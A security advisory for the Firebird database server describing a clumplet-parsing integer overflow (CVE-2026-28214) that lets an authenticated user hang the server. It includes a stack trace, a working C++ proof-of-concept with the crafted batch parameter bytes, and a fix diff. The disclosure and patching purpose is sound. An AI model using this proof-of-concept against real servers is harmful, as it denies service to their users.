Skip to content

Server hangs when using specific clumplet on batch creation

Moderate
dyemanov published GHSA-7cq5-994r-jhrf Apr 17, 2026

Package

No package listed

Affected versions

Versions >= 4 (v3 was not tested but the code is the same)

Patched versions

6.0, 5.0.4, 4.0.7, 3.0.14

Description

Summary

Incorrect parsing of clumplet allows authenticated user to DoS the server.

Details

The main bug is in the ClumpletReader::getClumpletSize() function, It is possible to overflow totalLength when parsing Wide type, which can lead to an infinite loop. I have found that this can be exploited in batch clumplet (there may be other ways in which it can be abused that I have not yet figured out).
The following is an example of a stack trace when this vulnerability is exploited:

Stacktrace
#0  Firebird::ClumpletReader::getClumpletSize (this=0x7ffff0bfda10, wTag=true, wLength=true, wData=true) at firebird/src/common/classes/ClumpletReader.cpp:675
#1  Firebird::ClumpletReader::moveNext (this=0x7ffff0bfda10) at firebird/src/common/classes/ClumpletReader.cpp:714
#2  Firebird::ClumpletReader::find (this=0x7ffff0bfda10, tag=2 '\002') at firebird/src/common/classes/ClumpletReader.cpp:733
#3  rem_port::batch_create (this=0x7ffff7e4be50, batch=0x7ffff44b5530, sendL=0x7ffff44b4a68) at firebird/src/remote/server/server.cpp:3655
#4  process_packet (port=0x7ffff7e4be50, sendL=0x7ffff44b4a68, receive=0x7ffff44b5040, result=0x7ffff0bfdcc8) at firebird/src/remote/server/server.cpp:5313
#5  loopThread () at firebird/src/remote/server/server.cpp:6987
#6  (anonymous namespace)::ThreadArgs::run (this=0x7ffff0bfde00) at firebird/src/common/ThreadStart.cpp:80
#7  (anonymous namespace)::threadStart (arg=0x7ffff7e556f0) at firebird/src/common/ThreadStart.cpp:94
#8  start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:447
#9  clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:78

Therefore, if an authenticated user has the INSERT privilege for a given table, they can create an infinite number of requests that will cause a DoS attack on the server.

PoC

I created a database with one table and granted the user INSERT privileges for that table. Then I attached it, started a transaction and created a batch with specific bpb (Batch Parameter Block) (this bpb can be found inside the Program below).
I wrote a simple C++ program to reproduce this:

Program
AutoRelease<IAttachment> attach_database(const std::string& db_name)
{
	ThrowStatusWrapper status(st);
	AutoDispose<IXpbBuilder> dpb = master->getUtilInterface()->getXpbBuilder(&status, IXpbBuilder::DPB, nullptr, 0);

	dpb->insertString(&status, isc_dpb_user_name, USER);
	dpb->insertString(&status, isc_dpb_password, PASSWORD);
		
	AutoRelease<IAttachment> attachment = provider->attachDatabase(&status, db_name.c_str(), dpb->getBufferLength(&status), dpb->getBuffer(&status));

	return attachment;
}

void create_batch(IAttachment& att)
{
	ThrowStatusWrapper status(st);

	AutoRelease<ITransaction> tra = att.startTransaction(&status, 0, NULL);

	FB_MESSAGE(Msg1, ThrowStatusWrapper,
		(FB_INTEGER, id)
	) project1(&status, master);
	project1.clear();

	const uint8_t bpb[] = {
		0x01, 0x04, 0xFB, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 
	};

	const char* sql = "insert into test values(?)";
	AutoRelease<IBatch> batch = att.createBatch(&status, tra, 0, sql, SQL_DIALECT_CURRENT, project1.getMetadata(),
		sizeof(bpb), bpb);
	// We are hang infinitely
}

int main(int argc, char** argv)
{
	try
	{
		const std::string full_db_path = "path/to/database/test.fdb";

		auto att = attach_database(full_db_path);
		create_batch(*att);
	}
	catch (const FbException& ex)
	{
		PRINT_FB_EXCEPTION(ex);
	}
}

Impact

Essentially, every server is affected.

Patch with fix

I have write a possible fix for this issue:

Patch diff
--- a/src/common/classes/ClumpletReader.cpp
+++ b/src/common/classes/ClumpletReader.cpp
@@ -591,6 +591,8 @@ FB_SIZE_T ClumpletReader::getClumpletSize(bool wTag, bool wLength, bool wData) c
 		return 0;
 	}
 
+	const FB_UINT64 maxTotalLength = buffer_end - clumplet;
+
 	FB_SIZE_T rc = wTag ? 1 : 0;
 	FB_SIZE_T lengthSize = 0;
 	FB_SIZE_T dataSize = 0;
@@ -666,15 +668,17 @@ FB_SIZE_T ClumpletReader::getClumpletSize(bool wTag, bool wLength, bool wData) c
 		invalid_structure("unknown clumplet type", t);
 	}
 
-	const FB_SIZE_T total = 1 + lengthSize + dataSize;
-	if (clumplet + total > buffer_end)
+	// Avoid possible overflow
+	FB_UINT64 totalLength = 1 + lengthSize + static_cast<FB_UINT64>(dataSize);
+
+	if (totalLength > maxTotalLength)
 	{
-		invalid_structure("buffer end before end of clumplet - clumplet too long", total);
-		FB_SIZE_T delta = total - (buffer_end - clumplet);
+		invalid_structure("buffer end before end of clumplet - clumplet too long", totalLength);
+		FB_UINT64 delta = totalLength - maxTotalLength;
 		if (delta > dataSize)
 			dataSize = 0;
 		else
-			dataSize -= delta;
+			dataSize -= static_cast<FB_SIZE_T>(delta);
 	}
 
 	if (wLength) {

Severity

Moderate

CVE ID

CVE-2026-28214

Weaknesses

No CWEs